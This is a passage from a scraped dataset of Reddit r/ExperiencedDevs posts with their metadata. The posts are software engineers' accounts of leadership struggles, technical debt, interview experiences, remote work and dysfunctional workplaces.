scratch](https://www.joelonsoftware.com/2000/04/06/things-you-should-never-do-part-i/) is a good philosophy or not an there was a comment saying you should only do this if the code was delivered by a consultancy. They had been delivering fast without thinking on the longer term impact of their decisions. Everything was hidden during a long time because there were no PRs, no in-house senior devs reviewing code and they were working over hours to clean up after their mess. They had been making my life hell for several months and blamed everything on the internal team, but now the fucked up. I wanted to get them out of the way and use that budget to hire someone else that shares our vision when it comes to coding a product. I spoke to different stakeholders and realised all this time I thought I was alone, they were seeing the same issues I was seeing. I spoke to the CEO and explained the situation. But he does not want to get rid of them. Basically the lead of this team (and owner of the outsourcing company) is a partner of my CEO in other businesses and he has now a conflict of interests. And up to this point I don't know what to do. And it's been a year and I'm still here. Some things have improved some are as bad as they were when I joined. The team has started to collaborate more often without me asking. They recently presented some initiatives to improve how we review code (a list of bullet points on what to look for when reviewing PRs). I don't know if I am writing this to help other or help myself, but I needed to get it out of my chest. I really hope you find it interesting. There are a few takeaways I want to share before I finish. * Impostor syndrome never leaves you. You just need to learn how to live with it. I know tons of devs that are way better than me that struggle with it. Sometimes we just need to step back and see what we achieve. * Enjoy the little victories. Write them down in a sticky note, in a notebook or in a calendar. Make them present. It's easy to focus on what's wrong and forget about the good things that have happened. * At some point we are paid to make hard decisions. Not making one might be worse on the longer term. Letting people go is hard, but keeping them in if they are causing problems and jeopardising the rest of the team is harder. * Accept defeat. Sometimes there is not a single scenario were you win. Accept it and learn from it. Understand why you lost and get ready for the next time. * Find allies. Find someone to back you up. There is always someone that will share your vision. * You owe nothing to nobody. And this is something I still struggle with. I feel I am in debt with the CEO for hiring me for this position. If I think about it, I don't owe anyone anything. Neither do you. Your experience is worth more than just an opportunity. * And here comes the last cliche: go out, touch some grass... working remotely is amazing but home alone problems seem bigger. Thanks to this job I have started exercising again because not even LOL can make me want to sit at my office after work. These have been the last 12 months of my life. Some days I regret accepting the position. I still believe I will leave soonish. I have recently thought about going freelance but that shit scares me. Hopefully you enjoyed this post. TLDR; Joined a company that had a disfunctional team to lead them, got promoted to CTO, fired people, did some things, got some takeaways, I needed to vent.",HornyMaryPoppins,594,87,1720196967,/r/ExperiencedDevs/comments/1dw2212/one_year_as_a_cto_thoughts_ideas_regrets_and_more/,https://www.reddit.com/r/ExperiencedDevs/comments/1dw2212/one_year_as_a_cto_thoughts_ideas_regrets_and_more/,self.ExperiencedDevs,True,,,,, 1do032b,ExperiencedDevs,"I warned my manager and her managers about the amount of technical debt we accruing. The product collapsed. Senior management wants an explanation and I'm burning out from explaining to them that this was, for all intents and purposes, their fault...","I have been working for a database company for the last 6 years and I have ""ownership"" of a major product in this company (I actually posted here recently and the full details are [here](https://www.reddit.com/r/ExperiencedDevs/comments/1cynhuc/i_own_a_major_project_in_a_large_company_and_i_am/)). In a nutshell, I inherited a legacy backup and recovery system and replaced most of this code with a proper and elegant solution. There is one component in the machinery that is responsible for synchronizing a specific type of data. Think something like a system table in a relational database. I never got around to replacing this part of the code because I would likely break the whole company (literally) - so I pushed hard to build up some sort of collaborative effort between the other teams to replace this but this effort never went anywhere because ""if it ain't broken, don't fix it."" This has been going on for years now. I desperately warned them that this needed to be replaced. Why? Many of the algorithms in the code are running in quadratic time because the code was written ""quick and dirty"" to launch the product in the early days. Fine. And most of our clients are also running low-GB sized deployments as well so there's no real perceivable delay in backing up data (think a few minutes tops). However, two of our clients which pay more than all the other clients combined, recently decided to set up a backup and recovery system. These clients have A LOT of data and the projected sync time for this data is looking like 3 months to a year per sync cycle. It's already been several months on one client and that client's C-suite has essentially reached out and said that this is unacceptable. Now all fingers are pointed at me, and well, I've been saying that this would happen. The thing is that I don't want to burn bridges or ""be that guy"" but there isn't exactly an immediate solution to this problem when the code is already out in the wild... at least not an easy solution Has anyone else experienced this? Tips? # Update 1 I wanted to say that the feedback here is why this is by far my favorite subreddit. From all the discussion going on, it's now obvious to me that I am not alone which is seriously incredibly uplifting. Thank you for that! From all the feedback, I tried to collect an ""average"" opinion and build some next steps based on that ""average."" It seems like this sort of issue is universal and a possible next step is to be apathetic but also offer solutions without finger pointing. It was also brought up quite a few times here that perhaps there's an opportunity in all of this mess. With all this in mind, I wanted to thank everyone again for taking the time to provide your insights :)",9ubj,591,152,1719299996,/r/ExperiencedDevs/comments/1do032b/i_warned_my_manager_and_her_managers_about_the/,https://www.reddit.com/r/ExperiencedDevs/comments/1do032b/i_warned_my_manager_and_her_managers_about_the/,self.ExperiencedDevs,True,,,,, yw6eml,ExperiencedDevs,Another job search data point during a very cold job market,"Normally I don't share this info but some amusing shit happened this time, and since it was a pretty brutal job search I need to vent a little. **Background**: 12 YOE at SF big N companies. 2 years ago, I transitioned to working fully remote from an LCOL city while taking a 0% paycut from my SF TC ([thread about that](https://old.reddit.com/r/ExperiencedDevs/comments/l951f2/successfully_negotiated_0_paycut_for_remote/)) so I only looked at fully remote + high TC opportunities. **Prep:** About 2-3 months of on-and-off prep after work or on weekends. Took like 3 weeks of break in the middle cuz I was getting tired of it. DS&A: about 60 LCs, mostly mediums. Used LC premium, neetcode, and random youtube channels for specific problem explanations. Sys design: read both of Alex Xu's books (highly recommend), read specific chapters of DDIA for topics I wanted clarity on, watched [sys design interview youtube channel](https://www.youtube.com/c/SystemDesignInterview), did 5 practice designs for popular problems **Applications and results:** Meta - Applied via referral to a Horizon Worlds E6 role. Very specific role, was told that no team matching process would be involved. - Phone screen happened to be the day after Zuck announced the company wide freeze. Recruiter called me an hour before my interview to tell me that I could still interview and the results would be good for 6-12 months. - I interviewed anyway since I wanted the practice. Interviewer spent 20 minutes on behavioral, leaving 25 minutes for 1 medium bit manipulation and 1 hard graph traversal problem, neither are on blind75 or neetcode150 or LC's list of FB problems. Solved the bit manipulation but didn't have enough time to code the graph traversal which the interviewer acknowledged was his fault so I just talked through it but didn't figure out the optimal solution. Interviewer was pretty friendly and a good communicator but had to end exactly at 45 minutes so no time for me to ask anything. - Result: passed screen, but hiring freeze prevents any forward movement. Amazon - Recruiter reached out via LinkedIn for AWS internal tool team, L6 role. Sounded like an absolutely mind numbingly boring team, recruiter could barely find the enthusiasm to sell it to me. - Phone screen was 40 minutes of behavioral! Really didn't expect that. His strategy for behaviorals seemed to be: ask an open ended question -> pick a detail to drill into -> drill into it more -> drill into it even more -> do not let candidate be ambiguous about ANYTHING -> keep drilling -> only stop when interviewee has answered every possible detail or admits they don't know something. This guy was not fucking around. Very engaged and active listener, his drilling questions were very intelligent and relevant. Then an LC easy BFS problem (wtf) followed up by a variation that made it LC medium (BFS with tree depth) - Result: failed screen, very unprepared for the behaviorals this guy wanted. Google - Recruiter reached out via LinkedIn for L6 role that needs to be team matched after offer. Seems like there are more fully remote opportunities than before, but still not that many. - Interviewer was a no show for the first 10 minutes so I emailed the coordinator and got an automated OOO reply with no backup contacts lol. Interviewer showed up at 12 minute mark and apologized profusely. 15 minutes of behavioral followed by an LC medium that transitioned into LC hard. Pretty standard array of numbers problem, it's probably on LC. Solved optimally with some hints. Only tricky part was figuring out the worst/avg/best big-Os for the optimal solution since the optimal solution has 3 variables that go into the big-O calculation instead of the usual 1 or 2. - Result: passed screen. However, recruiter said she wants to team match BEFORE offer now (contrary to what she said in our initial meeting), and that took forever. Netflix - Recruiter reached out via LinkedIn - UNBELIEVABLY LONG AND DIFFICULT INTERVIEW PROCESS. Had 10 total interviews of 45-60 minutes each with a mix of recruiters, eng, eng manager, non-eng, and non-eng managers. 2 rounds of coding problems, one with google docs and one with coderpad. These were not LC style, but rather realistic every day problems. Deep language/domain specific knowledge is critical. The non-eng rounds were non-technical behaviorals but they don't fuck around and let you get away with ambiguity. Thankfully I worked a lot with non-eng in the past and my recruiters warned me about this so I had some good stories prepared. Lots and lots of behaviorals that I wasn't asked at any other company. Feel like I met almost everyone I would be working with. The 10 interviews were split across like 4 different weeks and it felt like they just kept going forever. They really do not like false positives I guess. Only apply if you seriously consider Netflix as one of your top choices and are willing to walk over coals. That being said, I did enjoy each and every interview as all the interviewers were very passionate people, great communicators, and seemed to really be curious about me. - Result: got offer for an insane TC raise working on a team I'm really excited about. Accepted this offer! Stripe - Recruiter reached out via LinkedIn for staff role in money movement org. - Instead of a phone screen the first round is what they called a ""mini onsite"" with 45 minute behavioral with HM and 45 minute sys design. HM was extremely good communicator and actually made me excited about the role. Asked great questions and thanks to me bombing the amazon behavioral, I was hyper prepared for this one. Sys design was a realistic but not very deep problem within the online payments space. Interviewer answered clarifying questions then didn't speak for the next 35 minutes. Passed screening around. Recruiter said both interviewers had no negative feedback to give. - Final round was unique as well. They asked for a 1200 word writeup around a dev effort I owned which would be given to my interviewers. First interview was me presenting that writeup with additional detail for 20 minutes followed by 25 minutes of questions by a panel. Panel gave very positive feedback. Second interview was a sys design problem with a VERY large list of requirements. The interviewer admitted it was beyond the scope of a 45 minute interview so I should move extremely fast and be ready to get interrupted frequently if the interviewer wanted me to move on to something else. Felt like I did pretty well but was not given feedback. Third interview was coding round with 3 parts, non-LC style, using my own IDE. Interviewer wanted me to use unit test driven approach which I didn't enjoy but I solved it all easily enough. Fourth was behavioral with a staff+ eng, who was surprisingly not a good communicator and asked some dumb questions with no followups... - Result: Never really found out because THE DAY AFTER MY INTERVIEW the recruiter called me to say they are going on hiring freeze, and then a few days after that, they announced layoffs. My recruiter was part of the layoffs and my replacement recruiter called to say my application is in limbo until they finish re-strategizing or whatever. 5 startups - Mix of referrals and recruiters reaching out. All startups were tech-centric and roles were staff/staff+/leadership. - No LC at all. Always glad to see startups that are smart enough to not use LC. 2 take-home assignments that took way too long but I did it anyway for practice. Several coding rounds using my own IDE to solve realistic or day-to-day style problems. - Results: 3 offers, 1 bad fit, 1 ghosted. None of the offers compared to Netflix without very generous projections of their paper money and represented too much risk for me personally. **Offer Negotiation:** I consider myself quite good at negotiating offers but the Netflix recruiter made it clear during the verbal offer that they would give me a number at the top end and wouldn't budge from that unless something crazy happens. I tried to leverage that offer against the startup offers but obviously startups can only offer more paper money so that wasn't really productive, and none of the startups are something I truly believed in. Got some decent practice negotiating the startups against each other at least. **Moral of the story:** don't fucking do a job search during a horrible tech downturn unless you really want to move on lol",jookz,591,240,1668538974,/r/ExperiencedDevs/comments/yw6eml/another_job_search_data_point_during_a_very_cold/,https://www.reddit.com/r/ExperiencedDevs/comments/yw6eml/another_job_search_data_point_during_a_very_cold/,self.ExperiencedDevs,True,,,,, oflwdd,ExperiencedDevs,My 2021 interviewing season in numbers,,MisterPea,585,134,1625673752,/r/ExperiencedDevs/comments/oflwdd/my_2021_interviewing_season_in_numbers/,https://i.redd.it/8mca72y0dt971.png,i.redd.it,False,,,,, tjpnko,ExperiencedDevs,[META] How do we stop r/rexperienceddevs from becoming CSCQ 2.0?,"I've been an active participant both here and also on r/cscareerquestions (CSCQ) for a long while. I've more or less given up on CSCQ because it's almost all inexperienced people telling other inexperienced people what to do. My concern is that r/ExperiencedDevs is going the same way. As someone with a decade+ of tech experience I find myself seeing more and more content on here which reminds me of CSCQ and just doesn't engage me. This was not always the case. I don't really know if I'm off in this perception or if basically everyone other than students from CSCQ has come here and so now that part of cscq became part of r/ExperiencedDevs? I'm not even sure I have a suggestion here other than so many of the topics that get presented feel like they fall into either: * basic questions * rants disguised as questions Maybe the content rules are too strict? Or maybe they need to also prevent ranting as questions?",demosthenesss,585,281,1647906795,/r/ExperiencedDevs/comments/tjpnko/meta_how_do_we_stop_rrexperienceddevs_from/,https://www.reddit.com/r/ExperiencedDevs/comments/tjpnko/meta_how_do_we_stop_rrexperienceddevs_from/,self.ExperiencedDevs,True,,,,, 12c4mxs,ExperiencedDevs,Junior Dev using ChatGPT for code reviews,"So a junior dev that’s typically radio silent during PRs has started leaving a lot of comments in our PRs. It turns out they’ve being using chatGPT to get feedback on the code rather than reviewing it themself. Is this something that should be addressed? It feels wrong but I also don’t want to seem like a boomer who hates change and unwilling to adapt to this new AI world.",Midicide,583,308,1680659858,/r/ExperiencedDevs/comments/12c4mxs/junior_dev_using_chatgpt_for_code_reviews/,https://www.reddit.com/r/ExperiencedDevs/comments/12c4mxs/junior_dev_using_chatgpt_for_code_reviews/,self.ExperiencedDevs,True,,,,, q3pkoa,ExperiencedDevs,"The more experienced I get, the more I suck at coding interviews?","I'm sure people have posted about this before, but I need to rant... I have 10 YOE and haven't applied to a new job in a long time. I recently did a few coding interviews for the first time in \~6 years, and was unpleasantly surprised... Right out of school I was great at doing the type of algorithm questions they asked in these interviews, the ones that expect you to know everything they teach in undergrad and always have some stupid little trick you need to figure out on the spot. Compsci courses and exams are perfect preparation for this. I've learned SO much since I graduated, and I'm 1000x better at writing actual software, but nothing I've done on the job has had any resemblance to these interview questions. And yet, they're still asking me the same questions they were asking me right out of school; I'm just worse at them because I haven't done that stuff in 10 years. (I did do a few leetcode questions first, but I can't spend months re-learning undergrad just for an interview, I have a job and family and general adult responsibility stuff...) So, I'm better at writing software than I was as a new grad, but I'm worse at doing interviews. Do other devs feel this way too? Do most people find that their algorithm interview skills go way downhill over the years? And am I justified in thinking that interviewing experience devs using these types of questions is totally ridiculous, and that I should probably avoid these companies anyway? Or am I just being whiny because I didn't do well?",remarkableparsley,571,211,1633664349,/r/ExperiencedDevs/comments/q3pkoa/the_more_experienced_i_get_the_more_i_suck_at/,https://www.reddit.com/r/ExperiencedDevs/comments/q3pkoa/the_more_experienced_i_get_the_more_i_suck_at/,self.ExperiencedDevs,True,,,,, 10qw0v8,ExperiencedDevs,I just had one of the most bizzare interview rounds in my whole career,[removed],ukrokit,566,232,1675261670,/r/ExperiencedDevs/comments/10qw0v8/i_just_had_one_of_the_most_bizzare_interview/,https://www.reddit.com/r/ExperiencedDevs/comments/10qw0v8/i_just_had_one_of_the_most_bizzare_interview/,self.ExperiencedDevs,True,,,,, nqoqjt,ExperiencedDevs,Why you should job hop. An answer to a question I often get from juniors,,jaredcheeda,566,191,1622648468,/r/ExperiencedDevs/comments/nqoqjt/why_you_should_job_hop_an_answer_to_a_question_i/,https://i.imgur.com/NOSH7vl.png,i.imgur.com,False,,,,, 10fhi40,ExperiencedDevs,"Just got crushed in an architecture proposal, how are you?","I deserved it, spent a fair amount of time over the past 2 weeks researching, crafting, and refining a architecture proposal doc only to have the director come in and crush it with an instantly better idea that hadn't occurred to me or any of the people on the team who reviewed. Feels fucking bad man, I feel like a junior engineer right now, and not a very good one. That director is directly responsible for my possible progression to staff, so I probably just fucked any future promotions up. Ah well, at least I get paid a bunch to be a code-monkey. UPDATE: Thank you for all the responses and kind words! I talked with the director today, and turns out that he had discussed the solution that came up in the review with another team member a year ago, before I started. So this was already a known entity that somehow didn't come up during any of the reviews of my document (including the director's). In any case, I don't things went as poorly as I first though, since he was complimentary and kind when I thanked him for his feedback and asked what I could do to improve.",flybonzai,565,157,1674073063,/r/ExperiencedDevs/comments/10fhi40/just_got_crushed_in_an_architecture_proposal_how/,https://www.reddit.com/r/ExperiencedDevs/comments/10fhi40/just_got_crushed_in_an_architecture_proposal_how/,self.ExperiencedDevs,True,,,,, oohd1j,ExperiencedDevs,2 days back in office and I'm over it,"Super comfortable government job, didn't think I'd ever leave but I'm starting to brush up my resume and browse job boards. I sit at a computer for 8 hours a day so I'm not sure why Im expected to pay $250 in parking a month just to have to wait in line to take a shit",SumTingWong59,562,194,1626836351,/r/ExperiencedDevs/comments/oohd1j/2_days_back_in_office_and_im_over_it/,https://www.reddit.com/r/ExperiencedDevs/comments/oohd1j/2_days_back_in_office_and_im_over_it/,self.ExperiencedDevs,True,,,,, tv82mq,ExperiencedDevs,"Sometimes a career crisis, isn’t really about your career","I am posting from an alt as I don’t really want this attached to my main profile. A few years ago I entered a really hard and intense career crisis where I decided I hated software engineering, needed to get out, wanted to do something where I could “unleash myself”, decided I needed to do something “impactful” like journalism, law or medicine. In contrast I felt like stating a developer was “limited”, “unambitious”, “not being true to the way I should feel”. My complaints were hazy because my feelings were hazy. But I had an intense sense I felt wrong about who I was and my place in the world. My job was at the centre of that. The fact that’s missing from this account is that one year prior I had experienced some serious sexual violence. It came in my late twenties when I had already had some burgeoning mental health issues due to some experiences in adolescence and childhood. I didn’t really want a new career. What I wanted was a job that looked important, so I could stop feeling the blackness and worthlessness gnawing at me after my - - - -. I thought that if I was a doctor, or a barrister, or an academic, or a journalist, I could feel important enough not to succumb to the static at the back of my head that got louder the more I ignored it. It took a long time. To figure out what I needed, and get the help I required. And to recognise my fruitless career searching as a coping mechanism whilst I couldn’t recognise what had happened to me. My circumstances were my own, but I want to instruct people: if you are struggling with your career, reflect carefully on where your feelings are coming from. Do you feel bored, unimportant, tired, stressed? Are these to do with your job, or are you leaning on your job to solve a bigger problem in your life? Are you focusing on work because it’s something you feel you can control, over something you can’t? If you can’t feel clearly, you can’t think clearly. Failing to feel clearly didn’t only almost cause me jettison my career, it set my life back. It made me defer the help and healing I needed. It became a kind of compulsion, to find a way out, of something that couldn’t be found a way out of, without facing head on. Don’t let work worries become a proxy for other things, else you will improve neither.",GuardScorpion,557,26,1648988599,/r/ExperiencedDevs/comments/tv82mq/sometimes_a_career_crisis_isnt_really_about_your/,https://www.reddit.com/r/ExperiencedDevs/comments/tv82mq/sometimes_a_career_crisis_isnt_really_about_your/,self.ExperiencedDevs,True,,,,, qw0851,ExperiencedDevs,Am I being unreasonable to think that going into the office is very antiquated and a bit controlling now?,"So, I've been working from home for nearly 18 months now, my job has been fully remote since covid and nothing really changed. I'm looking for a new job and every time I talk about working from home some companies seem very uncomfortable with the idea and it makes me immediately reject them mentally. I do like the office, sometimes, but the idea of it being mandatory feels super antiquated now. Hearing a potential job say ""oh we expect you in the office twice a week"" would've been great 2 years ago but now after doing it for nearly two years the idea of being forced back into an office just feels like something people do because ""they are meant to"" Anyways, I'm not sure if i'm being ridiculous or not so I was curious about your opinions.",Oggie90,556,241,1637158621,/r/ExperiencedDevs/comments/qw0851/am_i_being_unreasonable_to_think_that_going_into/,https://www.reddit.com/r/ExperiencedDevs/comments/qw0851/am_i_being_unreasonable_to_think_that_going_into/,self.ExperiencedDevs,True,,,,, 12do4mw,ExperiencedDevs,"You ever write something that you know was terrible, and then wonder how people are still using it years later?","Shortly after I started my current job 5+ years ago, I was tasked to write a feature that would calculate sales commissions. Thought it was risky having someone new to a company try to learn complex finance calculations, but I figured it was readonly and they could compare the numbers to older reports. Threw something out there that was clunky but worked. Then there was the inevitable back and forth of, ""what if it did this?"" and ""now we need to override this"" and ""on the 3rd day write 'Fizz' and on the 5th day write 'Buzz'."" Which turned my already clunky code into what looks like garbage. They stopped asking for changes, so I figured they just abandoned the idea of using it. Until a meeting this morning when the Director of Sales pulled it up and asked if they could add a new column that would be fed by what I'm currently working on... Now, I get to dig through my horrendous old code that I haven't looked at in like 4 years.",lucidspoon,555,108,1680795633,/r/ExperiencedDevs/comments/12do4mw/you_ever_write_something_that_you_know_was/,https://www.reddit.com/r/ExperiencedDevs/comments/12do4mw/you_ever_write_something_that_you_know_was/,self.ExperiencedDevs,True,,,,, v45x2y,ExperiencedDevs,6 Lessons I learned from working at a dysfunctional workplace!," 10 YOE, had a lead role at my previous company. Switched to being an IC for more money at a larger company 1.5 years ago. When I joined the team was small, capable and effective. There were problems (mostly related to Jenkins :)) but the team was delivering value and customers were happy. After about a year a new manager joined and the decision was made to greatly grow the team (from about 5 to 50) using outsourced ""resources"". A series of bad management decisions was made resulting in me offering in my resignation a few days ago. I have no doubt that the rest of the original team will soon follow. How dysfunctional was it? I've included a list of observations at the bottom of this post, now that I've resigned I can laugh about it again :) Having had a lead role before (and going to a lead role at my next employer) it was very interesting to see how these decisions influenced the team and I figured I would take a moment to reflect, learn from the experience and share it with this sub! Without further ado, I present lessons I learned from working at a dysfunctional workplace! # 1. Listen! One of the most important skills you can have as an engineering manager/lead is to listen to your people. They already know what's wrong, what they need to do a better job and what can be improved. Whenever you change something that will influence their jobs, ask for their input first. Even if you decide not to do anything with their input, listening to them and explaining why you're making changes will help so much. In the end your IC's will do the actual work, as an engineering manager your focus should be on making sure that they are happy, motivated and are in a position to do their best possible work. No-one in the team thought we needed 50 extra people to deliver on the business goals but we could have really used 5+ good engineers with expertise in X, Y and Z, some better hardware, a few additional software licenses and a liaison with corporate security so we could discuss how they wanted us to do some things. # 2. Teams and autonomy matter! The quickest way to frustrate smart and motivated individuals is to take them out of their existing team and to put them in a arbitrary team, with people they don't click with and to limit their autonomy. Teams should be built around individuals that compliment each other (personality and skills) and have the same goals. Grouping people together by specialization (e.g testers, front-end developers) and then having them focus on different projects doesn't create a team. It just puts a bunch of people in a room. Two people also isn't a team. It's an arranged marriage. They either fall in love and get lost in their own world, out of touch with reality or you'll have to deal with a nasty divorce. Taking away their autonomy (my job, as a senior engineer, was at one point described as moving Jira tickets from left to right) means that they'll no longer be able to fix issues themselves. This will not immediately lead to frustrations but it does mean that smaller frustrations add up over time. # 3. Public praise (and promotions) are important tools to shape culture If you have a team with three developers; 1. Tina Topper who works hard, is liked, humble and respected due to her amazing skills and productivity 2. Marc Mediocre who is a steady workhorse but unmotivated 3. Ursa Underperformer who probably isn't in the right place and often creates extra workload for the team Praising and rewarding Tina Topper might inspire others to emulate her. If you praise and reward Tina, Marc and Ursa in equal amounts Tina Topper might get frustrated because not only is she picking up Ursa Underperformers slack, her hard work is also not being recognized. Marc Mediocre might figure out that Ursa Underperformers performance is ""good enough"" and might become even less motivated. Promote and praise only Ursa Underperformer and the team will quickly turn very demotivated. As a leader you should publicly praise the things that you want to see more of (e.g before we start, I just want to take a moment to thank Bary Badass who built X in 3 weeks, with barely any bugs and increased metric Y with 20%!). This makes people feel recognized, appreciated and also positively shapes culture. Make sure to praise individuals within the team and to praise the team to people outside the team. # 4. Let your best developers focus on developer experience See: [Maximizing developer efficiency](https://martinfowler.com/articles/developer-effectiveness.html). Engineers productivity can rarely be increased with cash bonuses, team building exercises or ""Employee of the month"" rewards. Instead focus on good engineering practices, taking away frustrations and shorten feedback loops. Allow your best engineers to focus on this (within reason). This makes the team feel valued (we don't just focus on features here, we focus on delivering quality and a healthy WLB), increases productivity, decreases burnout and makes hiring easier. Once again, this goes back to 1. Your engineers are in the best position to tell you what's slowing them down and frustrates them. Listen to them, clear roadblocks and give them resources. Encourage engineers to reach out to similar teams and/or engineers with similar roles within the organization (I would go as far as to setup coffee dates with people within my own network for them if they express interest) so they can build bridges, share knowledge and nerd out about awesome tech together. Let them know that work lunches/coffees (within reason) can always be expensed. There have been a few times in my career when a 5 euro coffee date saved the team 5k. # 5. Architecture and process is good when there's nothing more to take away, not when there's nothing more to add At some point I reviewed the architecture for an internal CRUD application with 20 users, that would manage less than 100k entities. It consisted of; - A React Frontend - Microservice (so that additional programming languages could be added in the future) - Containers (despite having no experience or infrastructure in place to host this) - Elastic search (for searching :) ) - Postgress (with a bunch of extensions) - Redis as a shared cache - Kafka to let the micro-services talk with each other - A Java backend as the first micro-service. This required a team of 20 developers (+ 10 BA's, project managers, etc) and two years to build. The proposal didn't include any back of the envelope calculations or further justifications for these choices. When I handed in my resignation the first deadline was already missed and not even 50% of the functionality for that deadline was finished. Moral was low and the project manager was working on a plan B. IT is and should always be about managing complexity, if something adds complexity you should be able to justify the additional costs. Do you need 5+ technologies in one project? Perhaps but often you're better of starting without it. If it turns out that Kafka is indeed the simplest solution for your problem, then please do add it! 4 teams of 5 developers on the same project is not 400% as effective as one team of 5, it's probably only 20 - 100% more effective due to dependencies, communication and process overhead. The easiest way to get a team to deliver faster is to reduce (technical) scope. Focus on delivering working software, as soon as possible and take it from there. Same thing goes for processes, do you need a BA, 10 weekly meetings, documentation for all meetings and strict guidelines for a project that has a single developer? Perhaps but try starting without it and add complexity when you can justify the additional costs. This also goes back to 1. Listen to your engineers and stakeholders and ask them what they need :) # 6. Be results focused, not process focused Teams are composed of individuals and individuals have different strengths, weaknesses and personalities. Allow the team to find a process of collaboration that works for them. If a team wants to do their dailies in their pajamas when doing push-ups with a soundtrack of heavy metal goats blaring in the background, let them. As long as they deliver the results that you want all else should be up to them. What you should do is work together with stakeholder (including your engineers) to set clear and ambitious goals. No ""Let's go global-ish at some point in the future?"" but a ""Let's get X new paying users by launching in N countries, before the end of 2022"" goal. Adjust the goals as you get closer to the end and/or learn new information, teams and individuals are motivated by goals that are just out of reach. Celebrate wins! The goal is supposed to be ambitious, if the team thinks they can launch in three countries, throw a dinner in there (or chocolate, or a bonus, go back to point 1 and ask them what they care about, it's your team :)) when they launch in the first and second country. The goal should be ambitious and just out of reach but the team should feel as if they're already on a winning streak. Provide coaches as external resources if the teams tells you that they're struggling with something (e.g testing, agile, etc). Let the team pick their own coaches. If your team does something very well, offer to them as a coach to another team (if you have their permission, of course). Recognition and praise from peers is the best praise an engineer can receive. This is also how you create 10x engineers, have a 1x engineer that can teach two teams to become more effective :), Now for you entertainment, a list of interesting and also funny things that I've observed while working there (adapted from my previous comment, [here](https://www.reddit.com/r/devops/comments/v3qrtb/cicd_and_infra_automation_is_it_mainstream/ib0pzw3/)); - Our CD pipeline being killed because automation is ""dangerous"" - There's no CI integration so developers take screenshots of their code coverage and attach it to PRs - PRs requiring screenshots of manual tests before they could be reviewed 😣 - Manual tasks not being automated despite the ROI being obvious - Despite having Ansible the team would still do manual fixes and forgot to open PRs so that stuff would break on the next deployment - Deployments would take 12+ hours - Someone telling me that ""the law"" doesn't allow DevOps because developers shouldn't touch production (yeah duh but that's not what DevOps is?) - PRs not being reviewed/merged for weeks - Coworkers reviewing the old code in a PR 😂 - People claiming that they could program because they could edit YAML files - People editing source code through a SSH session, including yaml files where they would manually count the spaces. These were not grey bearded insanely skilled wizards. They just couldn't get an IDE and GIT installed on their laptops. - Tasks being assigned to random individuals who are now responsible for X instead of the team deciding who's best suited for a task - Critical bugfixes not being deployed to PROD for months due to them getting lost in ""the process"" - Spending months working on a project, producing more documents than lines of code - Having to wait months for physical servers - Testing environments that are continuously out of date with PROD - Not having a proper staging environment because it isn't deemed to be important - Silo's and handovers everywhere. You hear ""that's not my job"" so often that at some point you'll be surprised if someone does something - No working software (or even testing environments) has been delivered since January - Zero accountability, because nothing gets delivered there's no way to measure individual output on a project so no recognition for hard work. No disciplinary actions for people who don't do shit. - Our team has a Developer, Operations and DevOps sub-team 🙈 no-one knows the difference between those sub-teams. They don't interact with each other. The team lead thinks that this is fine - The standup has 30+ people in the call, my product owner however is not invited 🤔 - No retro, too much negativity in those! 🙂 - Lying to stakeholders about production issues: ""We'll just claim it was a bug!"" - One project has three different database schema's, developed by different people, none have successfully been integrated with the backend - The database schema that is supposed to be used in production is ""finished"" but only stored on the authors laptop. For unknown reasons it cannot be shared with the rest of the team. - People join the team and projects all of the time, never introduce themselves, they also leave without announcement. Some days your team is 10 people, then 12, then down to 8. - A team spent the last 2 months working on ""branding"". This is for an internal tool with max 20. users. - My project has been assigned a business analyst from India so now my product owner is supposed to talk to me through the business analyst. This has caused a 2 month delay so far, the requirements produced by the BA mostly contain buzzwords in an order that doesn't make any sense. My product owner has a desk about 10 meters away from mine, we regularly have lunch together. - After 6 months of development the sprint for one of the teams is completely filled with bugs, for a project that isn't even live - The phrase ""looks like we won't close any stories this sprint, again"" was uttered this morning by a lead - There's a guy that does daily manual deployments, when he's sick or on leave. No deployments will be done, this is accepted by everyone. - Project status updates are mostly used to lie to the stakeholders that all is fine, you get a chewing out from the project manager if you report bad news - False positive are never filtered. When I'm on call I know that it's lunch time when I receive a false positive prio 1 alarm. I get a bunch more around 17.00 that I use as a signal that I'm done with the workday - Corporate security breaks our workflows, unannounced, all the time. Due to the last change we now have to install dependencies on a remote Linux server because locally building software is made as difficult as possible - Rsync is not allowed. Great fun when you have to copy over 20k reports! - SSH port forwarding is deemed a security risk so we use netcat, that's totally fine - At some point corporate security blocked us from running executables that were not on a whitelist. Causing us to rename all our development projects to word.exe, powerpoint.exe, etc - Our production servers can be accessed from testing servers without any authentication. Just do a SSH hop. No-one seems to care 🤔 - We can run a grand total of 7 sudo command. This list does not include tools such as journalctl nano or rm - At one point external developers were hired, we requested a desktop for them that would allow them to ""write"" code. They got a locked down VM with notepad installed and nothing else 😂 Took 3 weeks to get that fixed. - We had to explain to corporate security why Ansible needed SSH access because the website specified that HTTPS was enough (they were looking at the website for Ansible Tower, a web UI for Ansible) - Being assigned a task to uninstall old versions of an application after running ""yum install"", I tried explaining that yum does this for us. The lead didn't believe it. I spent a day chilling and closed the task as ""finished"". All was good - Someone proposing that we re-review old PRs every two weeks 🙄 because PRs are like wine, they get better/worse with age?",BERLAUR,548,94,1654281541,/r/ExperiencedDevs/comments/v45x2y/6_lessons_i_learned_from_working_at_a/,https://www.reddit.com/r/ExperiencedDevs/comments/v45x2y/6_lessons_i_learned_from_working_at_a/,self.ExperiencedDevs,True,,,,, 123vawp,ExperiencedDevs,Do you also feel like our industry is really bad at engineering?,"I had a rather frustrating day today and while reflecting after work, it came (once again) in my mind, that if you really think about it, our entire industry is incredibly bad at actually engineering software. Dysfunctionality is almost the norm, bugs are expected. Given the enormous amounts of power our machines have, we produce hardly any real new value (looking at you, Electron). And it seems like almost all processes are fundamentally broken (requirements engineering, analysts, scrum, etc.). I'm not blaming individual people here, I'm guilty of much of the above myself, and this is also not an exhaustive list. However, I feel like our industry is painting itself into a bit of a corner, because it becomes harder and harder to create real world value, because we spend more and more time doing useless busywork. Maybe just a vent.",CartmansEvilTwin,545,302,1679940789,/r/ExperiencedDevs/comments/123vawp/do_you_also_feel_like_our_industry_is_really_bad/,https://www.reddit.com/r/ExperiencedDevs/comments/123vawp/do_you_also_feel_like_our_industry_is_really_bad/,self.ExperiencedDevs,True,,,,, w8hlfv,ExperiencedDevs,Anyone else want a less senior role just to enjoy the job and go home?,"Past three jobs I have been fairly senior, one of them was CTO of a well funded start up with team members and I enjoyed those roles and the challenges it brought. At the moment I am doing my own freelance work and picking my own hours etc, it's nice but I miss the team culture. I 